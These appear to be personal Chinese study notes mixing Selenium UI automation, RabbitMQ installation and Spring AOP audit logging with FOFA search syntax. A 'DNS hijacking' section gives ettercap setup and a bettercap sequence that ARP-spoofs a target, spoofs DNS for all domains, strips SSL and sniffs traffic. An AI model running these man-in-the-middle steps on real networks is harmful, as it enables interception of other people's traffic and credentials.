【0310】接口自动化测试，py requests库调用方式。





【0311】UI自动化测试，通过py selenium库基于chrome驱动，以html元素进行定位。

```py
import time

from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.ie.service import Service

def start_chrome():
    # 创建设置
    options = Options()
    options.add_argument('--no-sandbox')
    options.add_experimental_option('detach', True)
    options.binary_location = r'C:\Program Files\Qoom Chrome\chrome.exe'
    # 创建并启动浏览器
    a1 = webdriver.Chrome(service=Service('chromedriver.exe'), options=options)
    return a1
a = start_chrome()
a.get('http://www.baidu.com')
# time.sleep(5)
# a.close()
# 最大化
a.maximize_window()
# 最小化
a.minimize_window()
```
新颖5 提升4 难度:简单 体系: 零乱


rabbitmq: 同步消息、异步消息的区别，rabbitmq安装、配置


生产者 => 交换机 => 消息队列 => 消费者


新颖: 新 提升: 5； 难度: 中等； 体系: 良好 
【0312】UI自动化测试  元素定位方式。


```py
# 定位1个元素
position1 = a.find_element(By.ID, 'main-wrapper')
# 列表形式
positions = a.find_elements(By.ID, 'main-wrapper11')
```
新颖: 低 提升: 3 难度: 中等； 体系: 零乱 时间: 一般

应用

明确界定，拒绝内耗



【0225: 一个BUG找不出来，切换租户组件没有传参。参数定义有问题。这边确实有些热。ython ui自动化 + 前端+ redis】

Spring aop 面向切面编程


1、作用


不修改原有代码逻辑，通过切点的方式，提高代码可读性



2、术语


Aspect: 切面: 切面类，封装切面类执行逻辑

JoinPoint: 连接点: 被AOP连接的目标类的方法；可以插入切面的点

Advice: 通知: 在连接点具体动作，Before，Around

Pointcut: 切点: 执行到哪些目标方法上


3、通知分类


Before 前置通知 方法执行前；Around环绕通知，自定义前后行为；


4、通过Spring AOP实现日志审计


自定义注解实现切点

```@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface  Auditable {
    String value() default "";
}
```



日志类

```@Data
@AllArgsConstructor
public class Syslog {
    private String methodName;
    private String message;
    private String args;
    private String result;
    private String status;
    private String exception;
}

```
切面类

```/**
 * 切面类
 *
 */
@Component
@Aspect
public class AuditAspect {
    private static final Logger logger = LoggerFactory.getLogger(AuditAspect.class);
    @Around("@annotation(auditable)")
    public Object audit(ProceedingJoinPoint joinPoint, Auditable auditable) throws Throwable {
        String methodName = joinPoint.getSignature().getName();
        String message = auditable.value();
        // 获取参数
        Object[] args = joinPoint.getArgs();
        String arrsString = args != null ? Arrays.stream(args).map(Object::toString).collect(Collectors.joining(",")) : null;
        Syslog syslog = new Syslog(methodName, message, arrsString, null, null, null);
        try {
            Object proceed = joinPoint.proceed();
            syslog.setResult(proceed == null ? "null" : proceed.toString());
            syslog.setStatus("成功");
            return proceed;
        } catch (Throwable e) {
            syslog.setStatus("失败");
            syslog.setException(e.getMessage());
            throw e;
        } finally {
            logger.info("日志审计记录: {}", syslog);
        }
    }
}

```
5、灵境给的使用示例

```@Aspect
@Component
public class LoggingAspect {

    // 定义切点：service 包下所有方法
    @Pointcut("execution(* com.example.service.*.*(..))")
    public void serviceMethod() {}

    @Before("serviceMethod()")
    public void logBefore(JoinPoint joinPoint) {
        System.out.println("调用方法：" + joinPoint.getSignature().getName());
    }

    @Around("serviceMethod()")
    public Object measureTime(ProceedingJoinPoint pjp) throws Throwable {
        long start = System.currentTimeMillis();
        Object result = pjp.proceed();
        long time = System.currentTimeMillis() - start;
        System.out.println(pjp.getSignature() + " 耗时 " + time + "ms");
        return result;
    }
}
```

SpringAop

搜索引擎FOFA:



用法:   
```js
1、body="login"&&title="login"&&city="guangzhou"&&port="80"&&server="ubuntu"
2、body="login"||country="us"	
```
DNS劫持:


       
			
				
```
        ettercap:

            安装ettercap sudo apt install ettercap
			2、修改eetercap dns 地址 
				cd /etc/ettercap
				ls
				vim ettercap.dns
				添加地址: * A IP
				
			3、启动apache服务
			cd /var/www/html
			vim index.html
			services apache2 start
			
			4、ettercap -G
		bettercap:
			net.probe on	
			set arp.spoof.targets 192.168.1.13
			arp.spoof on
			set dns.spoof.all true
			set dns.spoof.address 192.168.1.9
			set dns.spoof.domains *          
			dns.spoof on
			set http.proxy.sslstrip true
			http.proxy on
			https.proxy on
			net.sniff on
			events.stream on

流量劫持

# 1、rabbitmq安装
ubuntu运行:

```js
sudo apt install rabbitmq-server -y
```
启动并开机自启

```js
sudo systemctl enable rabbitmq-server
sudo systemctl start rabbitmq-server
```
检查服务是否正常
```js
sudo systemctl status rabbitmq-server
```
启用web管理软件

```js
sudo rabbitmq-plugins enable rabbitmq_management
```
创建用户并配置权限

```js
sudo rabbitmqctl add_user your_user your_password
sudo rabbitmqctl set_user_tags your_user administrator
```
配置防火墙

```js
sudo ufw allow 5672
sudo ufw allow 15672
```
# 2、rabbitmq web配置
# 3、rabbitmq java配置和使用


